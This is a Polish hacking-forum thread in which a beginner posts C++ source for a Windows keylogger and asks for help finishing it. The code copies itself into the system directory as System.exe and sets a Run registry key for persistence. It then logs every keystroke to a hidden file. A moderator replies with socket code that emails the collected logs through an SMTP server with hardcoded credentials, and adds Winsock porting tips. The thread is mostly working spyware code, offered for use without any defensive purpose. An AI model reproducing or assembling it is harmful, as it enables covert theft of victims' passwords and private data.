spykey

Temat: [Pomoc]Tworzenie KeyLoggera w C++

Pokaz wyniki od 1 do 5 z 5
  1. #1 [Pomoc]Tworzenie KeyLoggera w C++ 
    Użytkownik
    Dołączył
    27-01-2011
    Posty
    3
    Witam! Jestem bardzo początkującym programistą i staram się napisać KeyLoggera.Na razie mam coś takiego:
    Kod:
    #include <stdio.h>
    #include <windows.h>
    #include <Winuser.h>
    
    int dodaj()
    {
    char sysdir[256];
       char buff[256];
       char name[256];
    
       GetSystemDirectory(sysdir,sizeof(sysdir));
       sprintf(buff,"%s\\System.exe",sysdir); 
       GetModuleFileName(0,name,sizeof(name));
       CopyFile(name,buff,0);
    
       HKEY hKey;
       RegOpenKeyEx( HKEY_LOCAL_MACHINE,(LPCTSTR) "Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,   KEY_ALL_ACCESS, &hKey );
       RegSetValueEx(hKey,      NULL,0,REG_SZ,(CONST BYTE *) (LPCTSTR)buff,strlen(buff));
       RegCloseKey( hKey );
    }
    
    void keys(int key,char *file)
    {
    FILE *key_file;
    
    key_file = fopen(file,"a+");
    
    
    
    if (key==8)
    
    fprintf(key_file,"%s","[del]");
    
    if (key==13)
    
    fprintf(key_file,"%s","\n");
    
    if (key==32)
    
    fprintf(key_file,"%s"," ");
    
    if (key==VK_CAPITAL)
    
    fprintf(key_file,"%s","[Caps]");
    
    if (key==VK_TAB)
    
    fprintf(key_file,"%s","[TAB]");
    
    if (key ==VK_SHIFT)
    
    fprintf(key_file,"%s","[SHIFT]");
    
    if (key ==VK_CONTROL)
    
    fprintf(key_file,"%s","[CTRL]");
    
    if (key ==VK_PAUSE)
    
    fprintf(key_file,"%s","[PAUSE]");
    
    if (key ==VK_KANA)
    
    fprintf(key_file,"%s","[Kana]");
    
    if (key ==VK_ESCAPE)
    
    fprintf(key_file,"%s","[ESC]");
    
    if (key ==VK_END)
    
    fprintf(key_file,"%s","[END]");
    
    if (key==VK_HOME)
    
    fprintf(key_file,"%s","[HOME]");
    
    if (key ==VK_LEFT)
    
    fprintf(key_file,"%s","[LEFT]");
    
    if (key ==VK_UP)
    
    fprintf(key_file,"%s","[UP]");
    
    if (key ==VK_RIGHT)
    
    fprintf(key_file,"%s","[RIGHT]");
    
    if (key ==VK_DOWN)
    
    fprintf(key_file,"%s","[DOWN]");
    
    if (key ==VK_SNAPSHOT)
    
    fprintf(key_file,"%s","[PRINT]");
    
    if (key ==VK_NUMLOCK)
    
    fprintf(key_file,"%s","[NUM LOCK]");
    
    if (key ==190 || key==110)
    
    fprintf(key_file,"%s",".");
    
    if (key >=96 && key <= 105){
    
        key = key - 48;
    
        fprintf(key_file,"%s",&key);
    
    }
    
    if (key >=48 && key <= 59)
    
    fprintf(key_file,"%s",&key);
    
    
    
    if (key !=VK_LBUTTON || key !=VK_RBUTTON){
    
        if (key >=65 && key <=90){
    
            if (GetKeyState(VK_CAPITAL))
         
                fprintf(key_file,"%s",&key);
    else
    
    {
    
         key = key +32;
    
         fprintf(key_file,"%s",&key);
    
    }
    }
    
    }
    
    fclose(key_file);
    
    
    
    
    
    }
    
    int main()
    {
        dodaj();
    char i;
    
    char test[MAX_PATH];
    GetWindowsDirectory(test,sizeof(test));
    strcat(test,"//upagarde.txt");
    
    while(1){    
    
        for(i=8;i<=190;i++){
     
        if (GetAsyncKeyState(i) == -32767)
        
        {
     
         
         keys (i,test);
          
         
    
        }
    }
    
    }
    }
    Działa ale potrzebuje jeszcze funkcji ,aby wysyłał email.Czy jest ktoś wstanie coś takiego dla mnie zrobić?

    PS.
    I jeszcze dwa pytania:
    -czy idzie zablokować możliwość zmiany nazwy programu?
    -czy idzie zablokować możliwość usunięcia programu?
    Odpowiedź z Cytatem  
     

  2. #2  
    Dawni Moderatorzy Avatar discovery44
    Dołączył
    14-08-2007
    Posty
    689
    Kod:
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <iostream>
    using namespace std;
    int main()
    {
        int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);              
        struct sockaddr_in addr;
        addr.sin_family = AF_INET;
        addr.sin_port = htons(25); // port serwera poczty
        addr.sin_addr.s_addr = inet_addr("193.17.41.99"); // ip serwera poczty
        string mail = "[email protected]"; // e-mail na który wysłana zostanie wiadomość
        string query = "auth login\r\n" // początek rozmowy z serwerem
                   "ZW1haWxAbzIucGw=\r\n" // login zakodowany w base64
                   "cGFzc3dvcmQ=\r\n" // haslo zakodowane w base64
                   "Mail from: <[email protected]>\r\n"
                   "Rcpt to: <" + mail + ">\r\n" 
                   "data\r\n"
                   "From: [email protected]\r\n"
                   "Subject: HCP\r\n"
                   "To: " + mail + "\r\n\r\n" // zbieracz logow
                   + logi + "\r\n\r\n" // wyslij logi jako wiadomosc
                   ".\r\n"; // koniec rozmowy z serwerem
        
        if(connect(sock, (struct sockaddr *)&addr, sizeof(addr) ) == -1)
        {/* Nie udalo się połączyć! */}
            
        else
        {
            if( send(sock, query.c_str(), query.length(), 0) ) {/* Mail wysłany! */}
                
            else {/* Nie udało się wysłać logów! *}
        }
    }
    Na Linuchu wygląda to jakoś tak ;-)
    Odpowiedź z Cytatem  
     

  3. #3  
    Użytkownik
    Dołączył
    27-01-2011
    Posty
    3
    Tylko jak to pod windowsa przerobić? :/
    Odpowiedź z Cytatem  
     

  4. #4  
    Dawni Moderatorzy Avatar discovery44
    Dołączył
    14-08-2007
    Posty
    689
    Kod:
    #include <winsock.h> 
    WSADATA wsadata; 
    SOCKET sock; 
    SOCKADDR_IN addr;
    WSAStartup(MAKEWORD(2,2), &wsadata);
    WSAStartup na początek w main'ie wrzuć a zmienne po prostu zadeklaruj. Poszukaj na forum odpowiedzi następnym razem (znalezienie jednego tematu z trafną odpowiedzią na to pytanie zajmuje max 10 sekund).
    Odpowiedź z Cytatem  
     

  5. #5  
    Użytkownik
    Dołączył
    27-01-2011
    Posty
    3
    Złoży ktoś to dla mnie? Prosze
    Odpowiedź z Cytatem  
     

Podobne wątki

  1. Pomoc z napisaniem keyloggera
    Przez NiePoTwarzy
    w forum Keyloggers/Stealers
    Odpowiedzi: 2
    Ostatni post / autor: 11-11-2012, 19:16
  2. [PORADNIK] Tworzenie Keyloggera Ardmax Keylogger
    Przez shedt
    w forum Keyloggers/Stealers
    Odpowiedzi: 5
    Ostatni post / autor: 31-01-2012, 23:23
  3. Odpowiedzi: 4
    Ostatni post / autor: 18-10-2011, 19:41
  4. Tworzenie bitów czyli tworzenie muzyki hip-hop albo rap
    Przez keja
    w forum Off-topic (Czyli o wszystkim)
    Odpowiedzi: 4
    Ostatni post / autor: 29-06-2008, 19:56
Tagi dla tego tematu

Zobacz tagi

Uprawnienia
  • Nie mozesz zakładać nowych tematów
  • Nie mozesz pisać wiadomosci
  • Nie mozesz dodawać załączników
  • Nie mozesz edytowac swoich postów
  •